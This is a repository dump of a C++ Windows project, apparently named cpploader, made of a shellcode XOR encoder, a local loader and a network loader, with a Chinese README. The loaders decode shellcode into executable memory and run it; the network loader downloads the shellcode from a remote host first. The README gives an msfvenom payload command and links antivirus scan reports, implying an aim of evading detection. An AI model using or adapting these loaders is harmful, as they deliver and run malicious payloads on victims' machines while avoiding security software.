├── cppencoder
├── cppencoder.vcxproj.user
├── cppencoder.cpp
├── cppencoder.vcxproj.filters
└── cppencoder.vcxproj
├── cpploader
├── cpploader.vcxproj.user
├── cpploader.cpp
├── cpploader.vcxproj.filters
└── cpploader.vcxproj
├── cppnetloader
├── cppnetloader.vcxproj.user
├── cppnetloader.vcxproj.filters
├── cppnetloader.cpp
└── cppnetloader.vcxproj
├── README.md
└── cpploader.sln
/cppencoder/cppencoder.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/cpploader/cpploader.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/cppnetloader/cppnetloader.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/cpploader/cpploader.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #pragma comment(linker, "/INCREMENTAL:NO")
5 |
6 | void shellcode(LPCSTR inFilename)
7 | {
8 | char buf[4096];
9 | HANDLE inFile = CreateFile(inFilename, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
10 | int size = GetFileSize(inFile, NULL);
11 | DWORD bytesRead = 0;
12 | ReadFile(inFile, buf, size, &bytesRead, NULL);
13 | for (int i = 0; i != sizeof(buf) / sizeof(buf[0]); i++) {
14 | buf[i] = buf[i] ^ 'a';
15 | }
16 | LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
17 | memcpy(Memory, buf, sizeof(buf));
18 | ((void(*)())Memory)();
19 | }
20 |
21 | int main(int argc, char** argv) {
22 | if (argc != 2) {
23 | std::cout << "cpploader.exe enc.bin" << std::endl;
24 | }
25 | else {
26 | shellcode(argv[1]);
27 | }
28 | return 0;
29 | }
--------------------------------------------------------------------------------
/cppencoder/cppencoder.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | void encode(LPCSTR inFilename, LPCSTR outFilename)
5 | {
6 | char buf[4096];
7 | HANDLE inFile = CreateFile(inFilename, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
8 | int size = GetFileSize(inFile, NULL);
9 | DWORD bytesRead = 0;
10 | ReadFile(inFile, buf, size, &bytesRead, NULL);
11 | CloseHandle(inFile);
12 | for (int i = 0; i != sizeof(buf) / sizeof(buf[0]); i++) {
13 | buf[i] = buf[i] ^ 'a';
14 | }
15 | HANDLE outFile = CreateFile(outFilename, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
16 | DWORD bytesWrite = 0;
17 | WriteFile(outFile, buf, size, &bytesWrite, NULL);
18 | CloseHandle(outFile);
19 | }
20 |
21 | int main(int argc, char** argv) {
22 | if (argc != 3) {
23 | std::cout << "cppencoder.exe calc.bin enc.bin" << std::endl;
24 | }
25 | else {
26 | encode(argv[1], argv[2]);
27 | }
28 | return 0;
29 | }
--------------------------------------------------------------------------------
/cpploader/cpploader.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | 源文件
20 |
21 |
22 |
--------------------------------------------------------------------------------
/cppencoder/cppencoder.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | 源文件
20 |
21 |
22 |
--------------------------------------------------------------------------------
/cppnetloader/cppnetloader.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | 源文件
20 |
21 |
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # cpploader
2 |
3 | shellcode 内存加载器 C++编写.
4 |
5 | ## usage
6 |
7 | 生成 payload
8 |
9 | ```
10 | msfvenom -p windows/exec CMD=calc.exe -f raw -o calc.bin
11 | ```
12 |
13 | 加密 payload (默认 xor)
14 |
15 | ```
16 | cppencoder.exe calc.bin enc.bin
17 | ```
18 |
19 | `cpploader` 本地执行.
20 |
21 | ```
22 | cpploader.exe enc.bin
23 | ```
24 |
25 | `cppnerloader` 网络执行.
26 |
27 | ```
28 | cppnetloader.exe 192.168.1.1 5555
29 | ```
30 |
31 | ## report
32 |
33 | 在线杀软扫描报告.
34 |
35 | `cpploader`
36 |
37 | [VirScan](http://r.virscan.org/language/zh-cn/report/d968bcfa2e2d9e1e29bf45c95c51f60f)
38 |
39 | [VirusTotal](https://www.virustotal.com/gui/file/a56d0da8784f1ec01c354e7a0cfd2d004b36b509c266d344b25b2c5e7d458066/detection)
40 |
41 | `cppnetloader`
42 |
43 | [VirScan](http://r.virscan.org/language/zh-cn/report/092783011de845c8595b0d1ce5b56b8e)
44 |
45 | [VirusTotal](https://www.virustotal.com/gui/file/992011c67059117a832b3e6cf7c16226046d42673f72d90cbf28aa18ab5a0ee5/detection)
46 |
47 | # other
48 |
49 | [C++ ShellCode 加载器](https://exp10it.cn/2019/08/c-shellcode-%E5%8A%A0%E8%BD%BD%E5%99%A8/)
50 |
51 | 编码/加密方式可自行发挥.
52 |
53 | 更改 vs 编译选项缩小体积.
54 |
55 | 自己写效果更好.
56 |
57 |
58 |
--------------------------------------------------------------------------------
/cppnetloader/cppnetloader.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | #pragma comment(lib, "ws2_32.lib")
7 | #pragma comment(linker, "/INCREMENTAL:NO")
8 |
9 | int shellcode(PCSTR host, u_short port)
10 | {
11 | char buf[4096];
12 | WORD version = MAKEWORD(2, 2);
13 | WSADATA data;
14 | WSAStartup(version, &data);
15 | SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
16 | sockaddr_in addr;
17 | addr.sin_family = AF_INET;
18 | addr.sin_port = htons(port);
19 | inet_pton(AF_INET, host, & addr.sin_addr);
20 | connect(sock, (sockaddr*)& addr, sizeof(addr));
21 | recv(sock, buf, 4096, NULL);
22 | closesocket(sock);
23 | WSACleanup();
24 | for (int i = 0; i != sizeof(buf) / sizeof(buf[0]); i++) {
25 | buf[i] = buf[i] ^ 'a';
26 | }
27 | LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
28 | memcpy(Memory, buf, sizeof(buf));
29 | ((void(*)())Memory)();
30 | return 0;
31 | }
32 |
33 | int main(int argc, char** argv) {
34 | if (argc != 3) {
35 | std::cout << "cpploader.exe 192.168.1.1 5555" << std::endl;
36 | }
37 | else {
38 | shellcode(argv[1], atoi(argv[2]));
39 | }
40 | return 0;
41 | }
--------------------------------------------------------------------------------
/cpploader.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.29123.88
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cpploader", "cpploader\cpploader.vcxproj", "{705C4B3E-BE7C-4414-9372-9FB2D636DBC8}"
7 | EndProject
8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cppencoder", "cppencoder\cppencoder.vcxproj", "{993DBEA1-D711-47A5-AA8A-5800A6DFA283}"
9 | EndProject
10 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cppnetloader", "cppnetloader\cppnetloader.vcxproj", "{D2CDC2D3-4BA5-4D53-B219-6BEDAC4A2855}"
11 | EndProject
12 | Global
13 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
14 | Debug|x64 = Debug|x64
15 | Debug|x86 = Debug|x86
16 | Release|x64 = Release|x64
17 | Release|x86 = Release|x86
18 | EndGlobalSection
19 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
20 | {705C4B3E-BE7C-4414-9372-9FB2D636DBC8}.Debug|x64.ActiveCfg = Debug|x64
21 | {705C4B3E-BE7C-4414-9372-9FB2D636DBC8}.Debug|x64.Build.0 = Debug|x64
22 | {705C4B3E-BE7C-4414-9372-9FB2D636DBC8}.Debug|x86.ActiveCfg = Debug|Win32
23 | {705C4B3E-BE7C-4414-9372-9FB2D636DBC8}.Debug|x86.Build.0 = Debug|Win32
24 | {705C4B3E-BE7C-4414-9372-9FB2D636DBC8}.Release|x64.ActiveCfg = Release|x64
25 | {705C4B3E-BE7C-4414-9372-9FB2D636DBC8}.Release|x64.Build.0 = Release|x64
26 | {705C4B3E-BE7C-4414-9372-9FB2D636DBC8}.Release|x86.ActiveCfg = Release|Win32
27 | {705C4B3E-BE7C-4414-9372-9FB2D636DBC8}.Release|x86.Build.0 = Release|Win32
28 | {993DBEA1-D711-47A5-AA8A-5800A6DFA283}.Debug|x64.ActiveCfg = Debug|x64
29 | {993DBEA1-D711-47A5-AA8A-5800A6DFA283}.Debug|x64.Build.0 = Debug|x64
30 | {993DBEA1-D711-47A5-AA8A-5800A6DFA283}.Debug|x86.ActiveCfg = Debug|Win32
31 | {993DBEA1-D711-47A5-AA8A-5800A6DFA283}.Debug|x86.Build.0 = Debug|Win32
32 | {993DBEA1-D711-47A5-AA8A-5800A6DFA283}.Release|x64.ActiveCfg = Release|x64
33 | {993DBEA1-D711-47A5-AA8A-5800A6DFA283}.Release|x64.Build.0 = Release|x64
34 | {993DBEA1-D711-47A5-AA8A-5800A6DFA283}.Release|x86.ActiveCfg = Release|Win32
35 | {993DBEA1-D711-47A5-AA8A-5800A6DFA283}.Release|x86.Build.0 = Release|Win32
36 | {D2CDC2D3-4BA5-4D53-B219-6BEDAC4A2855}.Debug|x64.ActiveCfg = Debug|x64
37 | {D2CDC2D3-4BA5-4D53-B219-6BEDAC4A2855}.Debug|x64.Build.0 = Debug|x64
38 | {D2CDC2D3-4BA5-4D53-B219-6BEDAC4A2855}.Debug|x86.ActiveCfg = Debug|Win32
39 | {D2CDC2D3-4BA5-4D53-B219-6BEDAC4A2855}.Debug|x86.Build.0 = Debug|Win32
40 | {D2CDC2D3-4BA5-4D53-B219-6BEDAC4A2855}.Release|x64.ActiveCfg = Release|x64
41 | {D2CDC2D3-4BA5-4D53-B219-6BEDAC4A2855}.Release|x64.Build.0 = Release|x64
42 | {D2CDC2D3-4BA5-4D53-B219-6BEDAC4A2855}.Release|x86.ActiveCfg = Release|Win32
43 | {D2CDC2D3-4BA5-4D53-B219-6BEDAC4A2855}.Release|x86.Build.0 = Release|Win32
44 | EndGlobalSection
45 | GlobalSection(SolutionProperties) = preSolution
46 | HideSolutionNode = FALSE
47 | EndGlobalSection
48 | GlobalSection(ExtensibilityGlobals) = postSolution
49 | SolutionGuid = {7E2D591C-72B4-4A1E-9301-032BD51715B9}
50 | EndGlobalSection
51 | EndGlobal
52 |
--------------------------------------------------------------------------------
/cppnetloader/cppnetloader.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | {D2CDC2D3-4BA5-4D53-B219-6BEDAC4A2855}
24 | Win32Proj
25 | cppnetloader
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v142
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v142
39 | true
40 | MultiByte
41 |
42 |
43 | Application
44 | true
45 | v142
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v142
52 | true
53 | MultiByte
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | false
75 |
76 |
77 | true
78 |
79 |
80 | true
81 |
82 |
83 | false
84 |
85 |
86 |
87 |
88 |
89 | Level3
90 | MaxSpeed
91 | true
92 | true
93 | true
94 | _WINSOCK_DEPRECATED_NO_WARNINGS
95 | true
96 |
97 |
98 | Console
99 | true
100 | true
101 | true
102 |
103 |
104 |
105 |
106 |
107 |
108 | Level3
109 | Disabled
110 | true
111 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
112 | true
113 |
114 |
115 | Console
116 | true
117 |
118 |
119 |
120 |
121 |
122 |
123 | Level3
124 | Disabled
125 | true
126 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
127 | true
128 |
129 |
130 | Console
131 | true
132 |
133 |
134 |
135 |
136 |
137 |
138 | Level3
139 | MaxSpeed
140 | true
141 | true
142 | true
143 | _WINSOCK_DEPRECATED_NO_WARNINGS
144 | true
145 |
146 |
147 | Console
148 | true
149 | true
150 | true
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
--------------------------------------------------------------------------------
/cpploader/cpploader.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | {705C4B3E-BE7C-4414-9372-9FB2D636DBC8}
24 | Win32Proj
25 | cpploader
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v142
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v142
39 | true
40 | MultiByte
41 |
42 |
43 | Application
44 | true
45 | v142
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v142
52 | true
53 | MultiByte
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | true
75 |
76 |
77 | true
78 |
79 |
80 | false
81 |
82 |
83 | false
84 |
85 |
86 |
87 |
88 |
89 | Level3
90 | Disabled
91 | true
92 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
93 | true
94 |
95 |
96 | Console
97 | true
98 |
99 |
100 |
101 |
102 |
103 |
104 | Level3
105 | Disabled
106 | true
107 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
108 | true
109 |
110 |
111 | Console
112 | true
113 |
114 |
115 |
116 |
117 |
118 |
119 | Level3
120 | MinSpace
121 | true
122 | true
123 | true
124 |
125 |
126 | true
127 | MultiThreadedDLL
128 | Sync
129 |
130 |
131 | Console
132 | true
133 | true
134 | true
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
143 | Level3
144 | MinSpace
145 | true
146 | true
147 | true
148 |
149 |
150 | true
151 | MultiThreadedDLL
152 | Sync
153 |
154 |
155 | Console
156 | true
157 | true
158 | true
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
167 |
168 |
169 |
--------------------------------------------------------------------------------
/cppencoder/cppencoder.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | {993DBEA1-D711-47A5-AA8A-5800A6DFA283}
24 | Win32Proj
25 | cppencoder
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v142
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v142
39 | true
40 | MultiByte
41 |
42 |
43 | Application
44 | true
45 | v142
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v142
52 | true
53 | MultiByte
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | false
75 |
76 |
77 | true
78 |
79 |
80 | true
81 |
82 |
83 | false
84 |
85 |
86 |
87 |
88 |
89 | Level3
90 | MinSpace
91 | true
92 | true
93 | true
94 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
95 | true
96 | MultiThreadedDLL
97 | Sync
98 |
99 |
100 | Console
101 | true
102 | true
103 | true
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 | Level3
113 | Disabled
114 | true
115 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
116 | true
117 |
118 |
119 | Console
120 | true
121 |
122 |
123 |
124 |
125 |
126 |
127 | Level3
128 | Disabled
129 | true
130 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
131 | true
132 |
133 |
134 | Console
135 | true
136 |
137 |
138 |
139 |
140 |
141 |
142 | Level3
143 | MinSpace
144 | true
145 | true
146 | true
147 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
148 | true
149 | MultiThreadedDLL
150 | Sync
151 |
152 |
153 | Console
154 | true
155 | true
156 | true
157 |
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
167 |
--------------------------------------------------------------------------------